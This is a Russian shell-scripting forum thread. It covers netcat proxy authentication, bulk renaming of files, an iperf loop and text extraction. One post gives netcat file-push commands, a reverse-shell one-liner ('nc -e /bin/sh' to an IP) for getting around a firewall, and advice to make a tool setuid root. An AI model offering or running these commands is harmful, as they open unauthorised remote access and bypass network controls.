Перейти из форума на сайт.

НовостиФайловые архивы
ПоискАктивные темыТоп лист
ПравилаКто в on-line?
Вход Забыли пароль? Первый раз на этом сайте? Регистрация
Компьютерный форум Ru.Board » Компьютеры » Прикладное программирование » Shell scripts (sh, bash, zsh, tcsh)

Модерирует : ShIvADeSt

 Версия для печати • ПодписатьсяДобавить в закладки
Страницы: 1 2 3 4 5 6 7 8

Открыть новую тему     Написать ответ в эту тему

alyent



BANNED
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Обратите, пожалуйста, внимание, что существует более активная на настоящий момент смежная ветка.

Там же можно ознакомится со списком примечательной литературы по теме.
Первый пост этой ветки имел вид...

Всего записей: 1087 | Зарегистр. 09-03-2002 | Отправлено: 10:04 02-02-2003 | Исправлено: ASE_DAG, 19:08 12-07-2013
DrakonHaSh



Silver Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
perdun

Цитата:
задача: авторизоваться на проксе посредством нетката
строка вида  
nc -x192.168.0.1:3128 -Xconnect -Puser ya.ru 80


Цитата:
удалось тока ttyecho скомпилять, а вот как передать в nc пароль неясно;

=>

Код:
 
sudo ttyecho -n /dev/pts/0 'nc -x192.168.0.1:3128 -Xconnect -Puser ya.ru 80 > /tmp/output 2>/tmp/errOutput'
sudo ttyecho -n /dev/pts/0 'password'
sudo ttyecho -n /dev/pts/0 'GET http://ya.ru/ HTTP/1.1'
sudo ttyecho -n /dev/pts/0 'Host: ya.ru'
sudo ttyecho -n /dev/pts/0 ''
sudo ttyecho -n /dev/pts/0 ''

 

ввод будет виден на /dev/pts/0
вывод будет в /tmp/output
 
или, чтоб не надо было sudo юзать:
chown 0:0 ttyecho; chmod +s ttyecho
 
хотя может на вашей bsd (синтаксис nc оттуда) что-то будет иначе, я на linux пробовал
 
Добавлено:
кстати, раз есть nc, то можно без проблем качать на сервак свои файлы:
 
* Передавать файлы (первую команду выполняем на принимающей машине, вторую - на передающей):
$ nc -l 31334 > filename
$ nc 172.16.69.143 31334 < filename
 
Если на серваке нет белого ip, то используем бэкконнект (на передачу файлов сами переделаете)
* Организовывать обратный шелл (первая - клиент, вторая - сервер, однако шелл откроется от сервера к клиенту):
$ nc -e /bin/sh 172.16.69.143 31334
$ nc -l -p 31334

Всего записей: 2076 | Зарегистр. 08-01-2008 | Отправлено: 21:09 06-06-2012 | Исправлено: DrakonHaSh, 22:02 06-06-2012
perdun



BANNED
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
ASE_DAG

Цитата:
чем там у вас вызваны трудности с доступом к портам.  

трудности вызваны тем, что всё закрыто к ипиням.. и на вылет, и на влёт
на вылет тока эта сГаная прокся с авторизацией
всё.
DrakonHaSh

Цитата:
ввод будет виден на /dev/pts/0
вывод будет в /tmp/output

эту скриптовую конструкцию надо запускать с pts/1? (не нулевой)
ибо, если запускать оттуда, откуда залогинился, получаем
Ambiguous output redirect.
 
у меня на линухе, ваш скрипт не признает опцию -Р, man отсутствует

Код:
# cat errOutput
nc: invalid option -- 'P'
usage: nc [-46DdhklnrStUuvzC] [-i interval] [-p source_port]
          [-s source_ip_address] [-T ToS] [-w timeout] [-X proxy_version]
          [-x proxy_address[:port]] [hostname] [port]
# man nc
bash: man: command not found

 
на фре второй строкой пароль, видимо, прилетает кудато не в "тот" буфер
потому как прокся не авторизует, говорит, failed
если руками вводить пароль (не отображается), то всё ок
 
 
 
[s]Добавлено:
собсно, задача, сконнектиться посредством демона inetd с cvsup сервером
еслиб не авторизация, всёб работало по схеме

Код:
cvsup stream tcp nowait root /usr/bin/nc nc -xA.B.C.D:8080 -Xconnect cvsup2.ru.freebsd.org 5999
 

Всего записей: 1499 | Зарегистр. 21-01-2004 | Отправлено: 10:47 07-06-2012
DrakonHaSh



Silver Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
perdun

Цитата:
эту скриптовую конструкцию надо запускать с pts/1? (не нулевой)
ибо, если запускать оттуда, откуда залогинился, получаем
Ambiguous output redirect.  

я запускал и с /dev/pts/0 и /dev/pts/1 и вообще из под безконсольного apacha
попробуйте поменять /dev/pts/0 на /dev/pts/1 /dev/pts/2 ...
для работы ttyecho, как я понял, надо чтобы соответствующая консоль уже была запущена.
 

Цитата:
у меня на линухе, ваш скрипт не признает опцию -Р, man отсутствует  

эта опция есть только в bsd порте nc
 

Цитата:
на фре второй строкой пароль, видимо, прилетает кудато не в "тот" буфер
потому как прокся не авторизует, говорит, failed  

вставьте между первой и второй строкой скрипта вызов паузы на 2 сек:
sleep 2
 
еще попробуйте статически собрать expect на другой bsd и перенесите ее на свою (например через nc, как я писал в сообщении выше, если других стандартных способов вроде wget/ftp/http нет)
 

Всего записей: 2076 | Зарегистр. 08-01-2008 | Отправлено: 11:20 07-06-2012
perdun



BANNED
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
DrakonHaSh

Цитата:
вставьте между первой и второй строкой скрипта вызов паузы на 2 сек:
sleep 2  

я так и делал, без слипа сразу видно было, что пароль не "по адресу"
со слипом, всё как бы хорошо, но проксятина, сцуко, умная похоже, распознает как то, откуда этот пароль прилетел.. и failed
 
=====
ладно, хер с ней, с автоматизацией..
как всё это руками запустить?
1. # nc -x192.168.0.1:3128 -Xconnect -Puser cvsup4.ru.FreeBSD.org 5999
Proxy password for user@192.168.0.1:
OK 17 0 SNAP_16_1h CVSup server ready
дальше чего?
2. надо как то через пайп или сокет отдать это в csup с его конфигом supfile
# nc -x192.168.0.1:3128 -Xconnect -Puser cvsup4.ru.FreeBSD.org 5999 | csup /root/supfile
Proxy password for webs@192.168.0.1:
Cannot connect to 212.188.8.40: Operation timed out
Cannot connect to 2a02:28:2:1::40: No route to host
Will retry at 14:52:26  
 
и всё..

Всего записей: 1499 | Зарегистр. 21-01-2004 | Отправлено: 11:49 07-06-2012 | Исправлено: perdun, 12:20 07-06-2012
DrakonHaSh



Silver Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
perdun
пароль для прокси требует сам nc. т.е. в нем, в его способе ввода пароля загвоздка.
 
http://www.openbsd.org/cgi-bin/cvsweb/src/usr.bin/nc/
=>
http://www.openbsd.org/cgi-bin/cvsweb/src/usr.bin/nc/socks.c?rev=1.20;content-type=text%2Fplain
=>

Код:
 
static const char *
getproxypass(const char *proxyuser, const char *proxyhost)
{
    char prompt[512];
    static char pw[256];
 
    snprintf(prompt, sizeof(prompt), "Proxy password for %s@%s: ",
       proxyuser, proxyhost);
    if (readpassphrase(prompt, pw, sizeof(pw), RPP_REQUIRE_TTY) == NULL)
        errx(1, "Unable to read proxy passphrase");
    return (pw);
}
 

можете пофиксить эту функцию и пересобирите nc
 

Цитата:
ладно, хер с ней, с автоматизацией..
как всё это руками запустить?

nc читает с stdin и пишет в порт, и читает порт и пишет в stdout. он просто 'прокси'-переходник. попробуйте сначала руками через ~telnet (без прокси) понять логику того, что вы пытаетесь сделать.

Всего записей: 2076 | Зарегистр. 08-01-2008 | Отправлено: 12:22 07-06-2012 | Исправлено: DrakonHaSh, 12:31 07-06-2012
smiker2007



Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
ребята, выручайте
нужен простой shell скрипт, который мониторит запуск определенного процесса (service smb status) и если процесс не запущен, он его стартует и чтобы каждую минуту запускался, мониторил.
ОС: CentOS

Всего записей: 226 | Зарегистр. 09-04-2009 | Отправлено: 15:18 16-01-2013
vitvoronin

Newbie
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
необходимо решить задачу:
Переименовать все файлы и подкаталоги, расположенные в заданном каталоге, так, что один заданный символ имени файла (подкаталога) заменяется на другой заданный символ.
Примечание. Имя каталога, а также оба заданных символа вводятся с командной строки в качестве параметров скрипта.
Прошу помочь.

Всего записей: 9 | Зарегистр. 08-01-2013 | Отправлено: 14:06 11-07-2013
ASE_DAG



Gold Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
vitvoronin
$ rename 's/a/b/g' *
 
заменит a на b.

----------
Dmitry Alexandrov <321942@gmail.com> [PGP] [BTC]

Всего записей: 9272 | Зарегистр. 12-05-2005 | Отправлено: 15:12 11-07-2013
vitvoronin

Newbie
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Спасибо. Но я так понял по условию немного другое требуется. Нужно задать каталог, в котором будет осуществляться поиск файлов и подкаталогов с заданными символами. Символы тоже задаются в качестве параметров. И потом эти файлы и подкаталоги автоматически переименовываются.

Всего записей: 9 | Зарегистр. 08-01-2013 | Отправлено: 06:13 12-07-2013
ASE_DAG



Gold Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
vitvoronin
> Но я так понял по условию немного другое требуется
Не понял. Что значит «вы так поняли»? Это ваше условие. Или это вы домашнее задание пытаетесь на кого-нибудь спихнуть?
 
> Нужно задать каталог...
Ну так вперед! :-) Я вам написал ключевой элемент, о существовании которого вы могли не догадываться, а оборачивайте его уже во что хотите. Или вы мне предлагаете за вас все сделать?
 
Между прочим, я не понимаю, что вам тут не понравилось. Здесь все и задается в виде параметров. Или вы не в курсе, что можно указывать пути вот так:
 
$ rename 's/a/b/g' ~/path/to/my/dir/*
 
Однако если это ваше домашнее задание, то оно наверное не на знание ассортимента утилит, доступных в GNU (rename он же prename входит обычно в пакет perl), а на совершенствование умений скриптинга на Баше при использовании минимума утилит. Так что приступайте, а будут вопросы — обращайтесь. :-)
 
Добавлено:
All
Вставил в шапку ссылку на смежную ветку, где есть полноценная шапка.

----------
Dmitry Alexandrov <321942@gmail.com> [PGP] [BTC]

Всего записей: 9272 | Зарегистр. 12-05-2005 | Отправлено: 18:01 12-07-2013 | Исправлено: ASE_DAG, 18:09 12-07-2013
ASE_DAG



Gold Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
vitvoronin
А я смотрю вы не только домашние задания подкидываете, но еще и кросспостите не дождавшись первого ответа (http://www.cyberforum.ru/shell/thread921485.html). Ай-ай-ай! Надо по крайней мере взаимные ссылки ставить — здесь уже, понятное дело, не надо, а оттуда сюда поставьте, пожалуйста.
 
Тов. accept предлагает вам использовать find. Но нет, это здесь совершенно излишне.
 
$ for f in *"$A"*; do mv "$f" "${f//$A/$B}"; done
 
Комментарии нужны?

----------
Dmitry Alexandrov <321942@gmail.com> [PGP] [BTC]

Всего записей: 9272 | Зарегистр. 12-05-2005 | Отправлено: 20:17 12-07-2013 | Исправлено: ASE_DAG, 20:19 12-07-2013
vitvoronin

Newbie
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
ASE_DAG, спасибо за исчерпывающий ответ))

Всего записей: 9 | Зарегистр. 08-01-2013 | Отправлено: 14:21 15-07-2013
NikolasStelmah

Newbie
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
нужно создать скрипт, который будет запускать утилитку iperf, которая измеряе пропускную способность канала для каждого vlan'a, а их может быть до 100 и выводить результат
вот что я написал (я еще чайник, потому сложно еще кодить на шеле), но работает только для физической сети em0, а не для vlan'ов  
 
#!/bin/sh
 
i=0
while [ $i -lt 3 ]
do
  i=`echo $i+1|/usr/local/bin/iperf -c 192.168.174.129`
done
echo $i
 
пытался сделать так, что бы запускалась iperf циклом 3 раза и с такими параметрами  
i=`echo $i+1|/usr/local/bin/iperf -c 192.168.x+1.0`  
 
где х - еще одна переменная, но так ничего и не получилось...
подскажите как мен правильно написать скрипт, заранее благодарен за любую паомощь
 
Добавлено:
надо что то типо  
 
#!/bin/sh
 
i=0
while [ $i -lt 3 ]
do
  i=`echo $i+1|/usr/local/bin/iperf -c 192.168.$i+1.2`
done
echo $i
 
но он не работает...

Всего записей: 1 | Зарегистр. 10-06-2015 | Отправлено: 13:46 10-06-2015
Maximus777

Advanced Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Выхлоп curl-а содержит строку:

Код:
Запрещено передавать в торговый зал помарочные и экспортные партии продукции. Формы2: FB-000002111007999, FB-000002117543888,  

Всё это хозяйство помещаю в переменную output. Далее, требуется оставить массив с номерами. Номера получилось вытряхнуть так:

Код:
spravki="$(cat output | sed 's|.*Формы2: ||' | awk -F ", " '{$NF=""; print $0}')"

Может есть менее затейливый путь? Как вытянуть из одной строки несколько подстрок по шаблону?

Всего записей: 674 | Зарегистр. 27-07-2007 | Отправлено: 16:38 08-11-2019 | Исправлено: Maximus777, 07:30 09-11-2019
Открыть новую тему     Написать ответ в эту тему

Страницы: 1 2 3 4 5 6 7 8

Компьютерный форум Ru.Board » Компьютеры » Прикладное программирование » Shell scripts (sh, bash, zsh, tcsh)


Реклама на форуме Ru.Board.

Powered by Ikonboard "v2.1.7b" © 2000 Ikonboard.com
Modified by Ru.B0ard
© Ru.B0ard 2000-2024

BitCoin: 1NGG1chHtUvrtEqjeerQCKDMUi6S6CG4iC

Рейтинг.ru